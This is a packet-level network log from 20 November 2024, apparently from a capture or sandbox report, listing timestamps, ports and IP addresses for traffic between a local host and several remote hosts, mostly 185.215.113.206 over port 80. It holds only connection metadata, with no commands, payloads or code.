Nov 20, 2024 14:43:45.951026917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.951097012 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.951118946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.951200008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.951920033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.952007055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.952390909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.952570915 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.952754974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.952914000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.952972889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.953675032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.953716993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.953953981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.954044104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.954516888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.954567909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.955238104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.955282927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.955410004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.955445051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.955533028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.955596924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.956302881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.956342936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.956594944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.956639051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.957175016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.957227945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.957968950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.958062887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.958129883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.958143950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.958218098 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.958937883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.958997965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.959192038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.959247112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.959825039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.959882975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.959958076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.960010052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.960695982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.960752010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.960866928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.960937977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.961575031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.961623907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.961704969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.961750031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.962476015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.962516069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.963215113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.963257074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.963392019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.963404894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.963427067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.963448048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.964225054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.964309931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.964618921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.964893103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.965102911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.965158939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.965383053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.965436935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.966016054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.966028929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.966103077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.966103077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.966887951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.966955900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.966989994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.967030048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.967757940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.967855930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.968148947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.968259096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.968655109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.968697071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.968708038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.968776941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.969595909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.969691038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.969738960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.969784975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.970402002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.970624924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.970655918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.970695972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.971301079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.971357107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.975186110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975205898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975218058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975229979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.975244999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975258112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975264072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.975270987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975281000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.975296974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.975317955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.975347042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.975537062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.976052046 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.976078033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.976116896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.976175070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.976756096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.976810932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.977345943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.977416992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.977777958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.977830887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.977919102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.977958918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.978626013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.978691101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.978944063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.979001999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.979455948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.979501009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.979792118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.979841948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.980448008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.980460882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.980540991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.981293917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.981307030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.981422901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.982167959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.982244015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.982311010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.982445955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.983028889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.983084917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.983172894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.983205080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.983711004 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.983768940 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.983795881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.983844995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.983846903 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.983870029 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.983936071 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.983992100 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.984075069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.984214067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.984786987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.984884024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.984930992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.985022068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.985655069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.985743046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.985831976 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.985852003 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.986072063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.986171961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.986639023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.986651897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.986686945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.986721992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.987488031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.987802982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.987859964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.988368988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.988533020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.988842010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.988889933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.989238024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.989290953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.989420891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.989455938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.990029097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.990138054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.990180969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.990223885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.990883112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.990956068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.991019964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.991113901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.991874933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.991926908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.992276907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.992319107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.992676020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.992688894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.992737055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.128082037 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:46.128158092 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:46.128271103 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:46.128387928 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:46.128395081 CET	443	49888	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:46.128592968 CET	49888	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:46.140060902 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.140124083 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.140213966 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.140558004 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.140577078 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.140588999 CET	49889	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.140595913 CET	443	49889	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.145895004 CET	49909	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.145962954 CET	443	49909	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.146137953 CET	49909	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.147181034 CET	49909	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:46.147206068 CET	443	49909	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:46.149063110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.149146080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.149192095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.149375916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.149554968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.149569035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.149588108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.149611950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.150295973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.150338888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.150450945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.150783062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.151458025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.152017117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.152199030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.152400970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.152537107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.152549982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.152633905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.153317928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.153364897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.153378963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.153603077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.154201031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.154247046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.154475927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.154521942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.154918909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.154974937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.155052900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.155227900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.155759096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.155813932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.156650066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.156662941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.156676054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.156698942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.156753063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.156831026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.156873941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.156994104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.157068014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.157093048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.157144070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.157171965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.157368898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.157975912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.157989979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.158018112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.158056974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.159029007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.159096003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.159250021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.159320116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.159605980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.159655094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.159662008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.159862041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.160521984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.160665989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.160962105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.161108017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.161420107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.161432028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.161490917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.161490917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.162261963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.162309885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.162715912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.162756920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.163129091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.163172007 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.163508892 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.163744926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.163774967 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.163788080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.163805962 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.164042950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.164056063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.164081097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.164098024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.164865017 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.164926052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.165000916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.165007114 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.165150881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.165436029 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.165787935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.165811062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.165832043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.165853977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.167627096 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.167702913 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.168055058 CET	49897	443	192.168.2.6	20.75.60.91
Nov 20, 2024 14:43:46.168072939 CET	443	49897	20.75.60.91	192.168.2.6
Nov 20, 2024 14:43:46.169891119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.169917107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.169936895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.169950962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.169955015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.169975996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.169989109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.170012951 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.170026064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.170047998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.170216084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.170280933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.171448946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.171474934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.171498060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.171515942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.171709061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.171750069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.171848059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.171933889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.172841072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.172895908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.172976971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.173249006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.173655987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.173691034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.173716068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.173732042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.174426079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.174536943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.174560070 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.174602985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.175167084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.175210953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.175597906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:46.175677061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:46.196297884 CET	443	49893	150.171.27.10	192.168.2.6
Nov 20, 2024 14:43:46.196357012 CET	443	49893	150.171.27.10	192.168.2.6
